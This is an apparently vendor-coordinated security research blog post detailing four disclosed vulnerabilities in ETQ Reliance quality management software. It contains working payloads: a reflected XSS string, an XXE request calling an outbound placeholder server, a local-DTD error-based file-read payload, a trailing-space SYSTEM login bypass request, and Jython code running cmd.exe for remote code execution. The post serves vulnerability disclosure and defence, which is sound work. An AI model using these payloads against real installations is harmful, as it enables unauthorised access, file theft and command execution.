How We Accidentally Discovered a Remote Code Execution Vulnerability in ETQ Reliance

July 22, 2025

How We Accidentally Discovered a Remote Code Execution Vulnerability in ETQ Reliance

Note: In correspondence with Hexagon while disclosing the bugs below, they informed us that any sharing of source code would be considered a violation of their terms and license. The Java code has been replaced with similar code that illustrates the flow of the application and names have been changed.

It seems that vulnerability research is becoming increasingly challenging every year, as frameworks and languages become more secure by default and vendors are more aware of the security risks that plagued web applications of the early 2000s. Gone are the days of super simple bugs, where you upload a `shell.php.jpg`, or type `’ or 1=1–` at a login screen; or so we thought.

In this blog, we detail how typing a single space in ETQ Reliance’s login screen allows full access to the SYSTEM account, as well as some other bugs we found along the way.

ETQ Reliance describes itself as quality management software. At its core is a system for document and form management, allowing you to store all your documents in one place. It’s all tied together with a form builder UI, integrations like macros for Microsoft Word, and a system for customization based on Jython (more on that later!).

Despite being fairly popular, the product has not received much attention from security researchers; not a single CVE has been registered for it. Nevertheless, here at Assetnote, the prospect of analysing a product containing tens of thousands of documents exposed on the internet proved tempting, so we dived in and took a look.

As a result of our research, we discovered and disclosed the following vulnerabilities in ETQ Reliance:

  • ETQ Reliance Reflected Cross-Site Scripting in `SQLConverterServlet` (CVE-2025-34141)
  • ETQ Reliance XML External Entity (XXE) Injection in SSO SAML Handler (CVE-2025-34142)
  • ETQ Reliance CG/NXG Authentication Bypass via `;localized-text` URI Suffix (CVE-2025-34140)
  • ETQ Reliance Authentication Bypass via Trailing Space RCE (CVE-2025-34143)

An official advisory from Hexagon ETQ detailing the patch notes can be found here. Updating to the NXG Release 2025.1.2 will resolve the vulnerabilities detailed in this research post.

Use the Source, Luke

ETQ Reliance is a Java monolith application running on Windows backed by a MySQL, Postgres, or Oracle database. Its structure is pretty standard for enterprise Java applications, consisting of a mix of servlets and filters, all defined in the root `web.xml` file, and API routes defined within those. Since this isn’t a heavily audited application, we began by examining the servlet names for anything suspicious.

One thing that immediately stood out was that a servlet was registered at `/SQLConverterServlet`, which appeared to be intended for developers. Well, we aren’t developers, but it’s test code that’s available pre-auth, so let’s have a look. Visiting `/reliance/SQLConverterServlet` presents us with this very spartan-looking interface:

The source at `SQLConverterServlet.java` reveals how this is constructed:

public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException {
 
  String mysqlStatement = req.getParameter("MySQLStm");
  String vendorType = req.getParameter("vendors");
  PrintWriter out = res.getWriter();
  res.setContentType("text/html");

  vendorTypeRes = convertVendorType(mysqlStatement, vendorType);
  // .. snip ..

After investigating `convertVendorType`, we determined it was pretty harmless – essentially, `MySQL` is the ‘default’ language for SQL statements, and `convertVendorType` uses a series of string replacements and regexes to convert a MySQL query to another database vendor. However, something else caught our eye:

// ...
out.println("<form name=\"demo\" action=\"SQLConverterServlet\" method=\"post\">");
out.println("<h6>MySQL:</hd><br>");
out.println("<textarea cols=\"50\" rows=\"10\" name=\"MySQLStm\" >");
if (mysqlStatement != null || vendorType != null) {
 out.println(mysqlStatement);
}
out.println("</textarea><br><br>");
// .. snip ..

Is that an XSS? Yes, that is. By providing `?MySQLStm=<script>alert(1)</script>`, we get an alert box, and find our first bug on this application.

Digging Deeper

Looking through the other servlets available to us, we stumbled upon the `SSOFilter`, which is run when you access `/resources/sessions/sso`. This filter ends up calling into the `SamlAuthenticationModule` class, which verifies a `SAMLResponse` supplied in the request body, if any exists:

private void processSamlRequest(ServletRequest req, ContainerRequestContext ctx, boolean logout, boolean forceReauth, boolean fromForcedAuth, User currentUser) throws Exception {
    SamlResponse response = null;

    boolean needsAuth = logout 
        || isDifferentUserAttempt(req) 
        || isInitialUserAuthRequired(req) 
        || forceReauth 
        || fromForcedAuth;

    if (needsAuth) {
        boolean hasSamlResponse = req.getParameter("SAMLResponse") != null;
        
        if (!hasSamlResponse && !logout) {
            performSamlAuthentication(req, ctx, forceReauth);
            return;
        }

        response = processSamlPayload(req, logout, currentUser, fromForcedAuth);
    }

    // ... snip ...
}

Tracing through the logic, our `SAMLResponse` parameters flows through 4 or 5 function calls into `SAMLManager::parseXmlMessage`, which does the following:

private XMLObject parseXmlMessage(String samlXml) throws Exception {
    try {
        DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
        factory.setNamespaceAware(true);

        DocumentBuilder builder = factory.newDocumentBuilder();
        InputStream input = new ByteArrayInputStream(samlXml.getBytes(StandardCharsets.UTF_8));
        Document xmlDoc = builder.parse(input);

        Element rootElement = xmlDoc.getDocumentElement();
        UnmarshallerFactory umFactory = Configuration.getUnmarshallerFactory();
        Unmarshaller um = umFactory.getUnmarshaller(rootElement);

        return um.unmarshall(rootElement);
    } catch (Exception ex) {
        throw new AuthenticationException(ex.getMessage());
    }
}

What’s that? A call to `newDocumentBuilder` without any XXE protections? And indeed, this is a rather straightforward XXE:

POST /reliance/resources/sessions/sso HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 494

SAMLResponse=<@urlencode><@base64><!DOCTYPE doc [
      <!ENTITY % leak SYSTEM "http://your.outbound.server">
      %leak;
    ]><xxx>anything</xxx></@base64></@urlencode>

In a very common configuration, though, outbound access is blocked. In the case of our target, the payload above will result in just a DNS request, but no HTTP. So how can we escalate this to leak the contents of files? We started by noticing that, if there is an error, that the error will be reflected in a `Location` header; here’s an example:

Location: https://example.com/reliance/rel/#/app/auth/login?msg=The+external+entity+reference+%22%26dtd%3B%22+is+not+permitted+in+an+attribute+value.

So can we leak the contents of files in an error message? It turns out we can. In Java, if the protocol is unknown, you will get an error message that includes the full URL. A payload such as:

<!DOCTYPE doc [
    <!ENTITY % leak SYSTEM "a b://a">
    %leak;
]>
<xxx>anything</xxx>

Will result in an error message leaked as follows:

Location: https://example.com/reliance/rel/#/app/auth/login?msg=No+protocol%3A+a+b:%2f%2fa

This means that instead if we include a parameter entity inside the URL itself, we should get an error that leaks the contents of files:

<!DOCTYPE doc [
	<!ENTITY % file SYSTEM "file:///C:\Windows\win.ini">
    <!ENTITY % leak SYSTEM "%file;://a">
    %leak;
]><xxx>anything</xxx>

However, doing this is forbidden in the XML spec, and we will get an error message as follows:

The parameter entity reference "%file;" cannot occur within markup in the internal subset of the DTD.

However, we’re close! With one more well-known trick of repurposing a local Windows DTD, we can modify our payload to leak the contents of files:

<!DOCTYPE doc [
      <!ENTITY % local_dtd SYSTEM "file:///C:\Windows\System32\wbem\xml\cim20.dtd">
      <!ENTITY % SuperClass '>
          <!ENTITY &#x25; file SYSTEM "file:///C:\Windows\win.ini">
          <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;&#x25;file;qqq://x&#x27;>">
          &#x25;eval;
          &#x25;error;
        <!ENTITY test "test"'
      >
      %local_dtd;
    ]><xxx>anything</xxx>

And we get our leak:

Location: https://example.com/reliance/rel/#/app/auth/login?msg=no+protocol%3A+%3B+for+16-bit+app+support%0A%5Bfonts%5D%0A%5Bextensions%5D%0A%5Bmci+extensions%5D%0A%5Bfiles%5D%0A%5BMail%5D%0AMAPI%3D1%0Aqqq%3A%2F%2Fx

In Java, if you specify a directory target instead of a file, the file read will instead list the contents of the directory, which is incredibly helpful for us as an attacker. This bug is very impactful, but there were a couple of tough restrictions on the file read; the file could not contain `<` or `”`, and the file could not be too big (otherwise the entity will refuse to expand). Thus we continued to look at other parts of the application in search of the holy grail – a pre-authentication RCE.

Accidentally Finding a Critical Vulnerability

Almost a full day into research, we had looked at copious numbers of servlets and API endpoints and hadn’t found anything else too impactful. The initial rush of finding two simple vulnerabilities quite early had given way to a slog of wading through enterprise Java code. With very little else to look at, we began to look at the most obvious entry point of the application – the login screen.

Throughout the course of auditing the application we found lots of references to a `SYSTEM` account. As the name would suggest, this account is an internal user used for performing system functions and isn’t meant to be logged into as a normal user. But for fun, we decided to try and login anyway. Trying the credentials `SYSTEM:foo` on the main login screen we got an unusual error:

This isn’t the usual `Invalid username/password` error that we would get for other accounts! To bypass whatever was checking this on the backend, we appended a space to SYSTEM in the username field and clicked login and… we were logged in as `SYSTEM`? Not quite believing our eyes, we checked the HTTP request/response and saw that indeed, we had been granted a login session!

POST /reliance/resources/sessions HTTP/1.1
Host: example.com
Content-Length: 39
Accept: application/json, text/plain, */*
Content-Type: application/json
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"username":"SYSTEM ","password":"abc"}
{"statusCode":"0","message":"","data":{"userId":-1,"userName":"SYSTEM","firstName":"SYSTEM","middleName":"","lastName":"Reliance System","displayName":"System","initials":"SR","jobTitles":[],"email":"...","avatarExists":true,"modules":["DATACENTER","..."],"locale":"en-US","timeZone":"...","timeZoneId":1,"loggedInSince":"Mar 30, 2025 5:55:22 PM","sessionTimeout":1800000,"sessionTimeoutNotification":true,"mustConfigureProfile":true,"addNewModule":true,"hideWelcomeModal":false,"portals":{"My Portal":"38"},"defaultPortal":"38","samlUser":false,"forcePasswordReset":false,"userType":"SYSTEM","isDynamic":false,"isAdministrator":false,"isEngineManager":false,"isEngineAuthor":false,"isEngineManagerGroupMember":false,"isAdministrationCenterManager":false,"isVerseMode":false,"isAdministrationCenterAuthor":false,"isExternalUser":false}}

So what on earth was going on in the backend that meant that a single space allowed logging into this account with any password? Our journey begins in `UserManager.java`, which is reached by the login code:

private User resolveUser(String sessId, String username, String pwd, String token, boolean isSamlAuth) throws AppException {
    if (sessId == null || sessId.isEmpty()) {
        throw new AppException(135);
    }

    if (username == null || username.trim().isEmpty()) {
        throw new AppException(654);
    }

    if ("SYSTEM".equalsIgnoreCase(username)) {
        throw new AppException(908, new Object[] { "SYSTEM" });
    }

    User resolvedUser;
    String trimmedName = username.trim();

    if ("Anonymous".equalsIgnoreCase(trimmedName)) {
        resolvedUser = fetchAnonymousUser(sessId);
    } else if ("Depositor".equalsIgnoreCase(username)) {
        resolvedUser = fetchDepositorUser(sessId);
    } else {
        resolvedUser = authenticateUser(sessId, username, pwd, token, isSamlAuth);
    }

    return resolvedUser;
}

In our case, the `sessId` corresponds to our Java session, the `token` is `null`, and the `isSamlAuth` is false (we are just doing a regular login). `AppException` 908 corresponds to the message we saw before:

908 = User {0} is designated for internal use only 

So if the `name` is SYSTEM with a trailing space, it doesn’t match this branch, and we continue. But why does it then allow us to login with any password? Following the logic through to `authenticateUser -> authenticateUserInternal` we find the following:

private User authenticateUserInternal(String sessId, String username, String pwd, String ssoToken, boolean isSamlAuth) throws AppException {
    boolean isSsoAuthFlow = EngineConfig.getInstance().isSSOEnabled() && ssoToken != null && pwd == null;
    UserSetting setting = checkUserValidity(username, ssoToken, isSsoAuthFlow);
    if (setting.isGroup()) {
        throw new AppException(1435);
    }

    User existingUser = this.authenticatedUsers.get(setting.getID());

    boolean alreadyLoggedIn = existingUser != null;

    User verifiedUser = verifyCredentials(pwd, isSamlAuth, isSsoAuthFlow, setting, existingUser, alreadyLoggedIn);
    confirmUserStatus(setting);

    // ... snip ...
}

`checkUserValidity` maps to an underlying database call to fetch a user object. In this case, our target was using MySQL, so by the behavior of the default MySQL collation we have that:

'SYSTEM' = 'SYSTEM '

and so our SYSTEM user gets fetched successfully. But still this doesn’t explain why we didn’t need a password! Checking the `verifyCredentials -> getUser -> User` we find our answer:

protected User(UserSetting settingObj, String pwd, boolean skipAuth, boolean loadDelegates, Integer actingUserId) throws AppException {
    if (settingObj == null) {
        throw new NullPointerException("UserSetting must not be null.");
    }

    this.setting = settingObj;
    String userId = settingObj.getUserName();
    setID(settingObj.getID());
    setUserType(userId);
    this.behalfUserId = actingUserId;

    if ("Anonymous".equalsIgnoreCase(userId) || "Depositor".equalsIgnoreCase(userId)) {
        throw new AppException(1231, new Object[] { userId });
    }

    if ("SYSTEM".equalsIgnoreCase(userId)) {
        this.system = true;
    }

    if (!this.system && !skipAuth) {
        authenticate(pwd);
    }

    initialize(loadDelegates);
}

Since `settingObj` is using our fetched user setting object, it has its username now equal to `SYSTEM` without the space, so `this.system` is true, and it no longer checks the password! So the password can be anything and it will still let us login.

Let’s recap – by going to the main login screen and typing username `SYSTEM ` and password `anything`, we can login as the SYSTEM account!

Escalation to RCE

The escalation to RCE from this was quite simple, even though `SYSTEM` is not an admin account. ETQ has reports that can run custom Jython code that look like this:

isGroup = thisDocument.getEncodedFieldValue("ENGINE_IS_GROUP")
if (isGroup == 1):
 displayValue = Rstring.getText("GROUP_PROFILE",thisUser)
else:
 displayValue = Rstring.getText("USER_PROFILE",thisUser)
if thisDocument.isNew():
 print displayValue +" "+ Rstring.getText("NEW_DOCUMENT",thisUser)
else:
 userDisplayName = thisDocument.getEncodedFieldText("ENGINE_DISPLAY_NAME")
 print displayValue + " - " + userDisplayName

The field above is used for displaying the name of a user on their profile page. We simply modified it with a shell command payload as follows:

isGroup = thisDocument.getEncodedFieldValue("ENGINE_IS_GROUP")
if (isGroup == 1):
 displayValue = Rstring.getText("GROUP_PROFILE",thisUser)
else:
 displayValue = Rstring.getText("USER_PROFILE",thisUser)
if thisDocument.isNew():
 print displayValue +" "+ Rstring.getText("NEW_DOCUMENT",thisUser)
else:
 import subprocess
 print repr(subprocess.Popen(["cmd.exe", "/c", "dir"], stdout=subprocess.PIPE).communicate()[0])

When we visited the page, we were greeted with the output of the `dir` command. Success!

Conclusion

When reviewing a ton of source code, it can be tempting to forego testing the simple stuff. After all, if you have the source code, that’s the source of truth and you’ll surely spot any bugs there, right? But modern enterprise applications are a tangle of abstraction and complexity, and sometimes very simple bugs can be hard to spot. Even when full source is available, there’s something to be said for trying random things blindly, observing any unusual behaviour, and seeing what sticks.


About Assetnote

Searchlight Cyber’s ASM solution, Assetnote, provides industry-leading attack surface management and adversarial exposure validation solutions, helping organizations identify and remediate security vulnerabilities before they can be exploited. Customers receive security alerts and recommended mitigations simultaneously with any disclosures made to third-party vendors. Visit our attack surface management page to learn more about our platform and the research we do.

in this article

Book your demo: Identify cyber
threats earlier– before they
impact your business

Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:

Enhance your security with advanced automated dark web monitoring and investigation tools

Continuously monitor for threats, including ransomware groups targeting your organization

Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations

Fill in the form to get you demo